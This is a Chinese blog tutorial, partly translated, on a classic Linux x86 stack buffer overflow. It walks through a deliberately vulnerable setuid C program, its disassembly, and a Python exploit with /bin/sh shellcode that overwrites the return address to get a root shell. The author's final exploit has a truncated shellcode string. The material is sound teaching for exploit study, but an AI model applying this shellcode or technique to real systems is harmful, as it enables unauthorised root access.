Linux (x86) Exploit 開發系列教程之一(典型的基於堆棧的緩沖區溢出)
Note:本文大部分來自於看雪hackyzh的中文翻譯,加入了一些自己的理解
典型的基於堆棧的緩沖區溢出
虛擬機安裝:Ubuntu 12.04(x86)
這個帖子是最簡單的漏洞開發教程系列,在互聯網上你可以找到很多關於它的文章。盡管它豐富和熟悉,我更喜歡自己寫博客文章,因為它將作為我未來許多職位的先決條件!
什么是緩沖區溢出?
將源緩沖區復制到目標緩沖區可能導致溢出
1、源字符串長度大於目標字符串長度。
2、不進行大小檢查。
緩沖區溢出有兩種類型:
1、基於堆棧的緩沖區溢出 - 這里的目標緩沖區位於堆棧中
2、基於堆的緩沖區溢出 - 這里的目標緩沖區位於堆中
在這篇文章中,我將只討論基於堆棧的緩沖區溢出。堆溢出將在Linux(x86)漏洞開發教程系列的 “3級”中討論!
緩沖區溢出錯誤導致任意代碼執行!
什么是任意代碼執行?
任意代碼執行允許攻擊者執行他的代碼以獲得對受害機器的控制。受害機器的控制是通過多種方式實現的,例如產生根shell,添加新用戶,打開網口等...
聽起來很有趣,足夠的定義讓我們看看緩沖區溢出攻擊的代碼!
漏洞代碼
1 //vuln.c 2 #include <stdio.h> 3 #include <string.h> 4 int main(int argc, char* argv[]) { 5 /* [1] */ char buf[256]; 6 /* [2] */ strcpy(buf,argv[1]); 7 /* [3] */ printf("Input:%s\n",buf); 8 return 0; 9 }
編譯代碼
#echo 0 > /proc/sys/kernel/randomize_va_space $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln
上述漏洞代碼的[2]行顯示了緩沖區溢出錯誤。這個bug可能導致任意代碼執行,因為源緩沖區內容是用戶輸入的!
如何執行任意代碼執行?
使用稱為“ 返回地址覆蓋 ”的技術實現任意代碼執行。這種技術有助於攻擊者覆蓋位於堆棧中的“返回地址”,並且這種覆蓋將導致任意代碼執行。
在研究漏洞代碼之前,為了更好的理解,讓我們反匯編並且繪制出漏洞代碼的堆棧布局。
反匯編
1 (gdb) disassemble main 2 Dump of assembler code for function main: 3 //Function Prologue 4 0x08048414 <+0>:push %ebp //backup caller's ebp 5 0x08048415 <+1>:mov %esp,%ebp //set callee's ebp to esp 6 0x08048417 <+3>:and $0xfffffff0,%esp //棧對齊 7 0x0804841a <+6>:sub $0x110,%esp //stack space for local variables 8 0x08048420 <+12>:mov 0xc(%ebp),%eax //eax = argv 9 0x08048423 <+15>:add $0x4,%eax //eax = &argv[1] 10 0x08048426 <+18>:mov (%eax),%eax //eax = argv[1] 11 0x08048428 <+20>:mov %eax,0x4(%esp) //strcpy arg2 12 0x0804842c <+24>:lea 0x10(%esp),%eax //eax = 'buf' 13 0x08048430 <+28>:mov %eax,(%esp) //strcpy arg1 14 0x08048433 <+31>:call 0x8048330 <strcpy@plt> //call strcpy 15 0x08048438 <+36>:mov $0x8048530,%eax //eax = format str "Input:%s\n" 16 0x0804843d <+41>:lea 0x10(%esp),%edx //edx = buf 17 0x08048441 <+45>:mov %edx,0x4(%esp) //printf arg2 18 0x08048445 <+49>:mov %eax,(%esp) //printf arg1 19 0x08048448 <+52>:call 0x8048320 <printf@plt> //call printf 20 0x0804844d <+57>:mov $0x0,%eax //return value 0 21 //Function Epilogue 22 0x08048452 <+62>:leave //mov ebp, esp; pop ebp; 23 0x08048453 <+63>:ret //return 24 End of assembler dump. 25 (gdb)
原文地址:https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/
這個地方需要特殊說明一下,原作者使用的是Ubuntu 12.04 LTS 32位版本的系統,GCC的版本未知,反匯編的代碼是這樣的,我使用Ubuntu 14.04 32位系統,GCC版本4.8.2,disassemble后的代碼不是這樣,但是功能是一樣的,所以不做更多解釋,大家按照原作者和hackyzh的翻譯來讀是沒有什么問題的
翻譯的文章是https://bbs.pediy.com/thread-216868.htm
好煩,不想粘貼過來,大家看原文的,我就寫下我自己的有些地方的理解,和原文會給大家造成的誤解進行解釋。
攻擊代碼原來是這樣的:
1 #exp.py 2 #!/usr/bin/env python 3 import struct 4 from subprocess import call 5 #Stack address where shellcode is copied. 6 ret_addr = 0xbffff1d0 7 8 #Spawn a shell 9 #execve(/bin/sh) 10 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" 11 #endianess convertion 12 def conv(num): 13 return struct.pack("<I",numnk + RA + NOP's + Shellcode 14 buf = "A" * 268 15 buf += conv(ret_addr) 16 buf += "\x90" * 100 17 buf += scode 18 print "Calling vulnerable program" 19 call(["./vuln", buf])
第13行的return struct.pack("<I",numnk + RA + NOP's + Shellcode 很明顯是不對的,這里原文作者是大神,都懶得解釋,直接拋個錯誤讓我們自己玩,hackyzh也是大神,也懶得解釋。
這里是返回二進制的意思,正確的寫法應該是:
return struct.pack("<I",num) #nk + RA + NOP's + Shellcode
還有一個地方是返回地址的地方,這個地方大神們也懶得解釋了,看雪論壇也有人在猜這個地方,我覺得可以這樣解釋。
在我的機器上buf的地址(所謂的&buf)是0xbffff340,這樣ret_addr=0xbffff340+0x10c+0x4+0x64=0xbffff654。
之后就可以成功獲得root權限。
最后附上我的exp.py文件
#exp.py #!/usr/bin/env python import struct from subprocess import call #Stack address where shellcode is copied. ret_addr = 0xbffff654 #Spawn a shell #execve(/bin/sh) scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ #endianess convertion def conv(num): return struct.pack("<I",num)#nk + RA + NOP's + Shellcode buf = "A" * 268 buf += conv(ret_addr) buf += "\x90" * 100 buf += scode print "Calling vulnerable program" call(["./vuln", buf])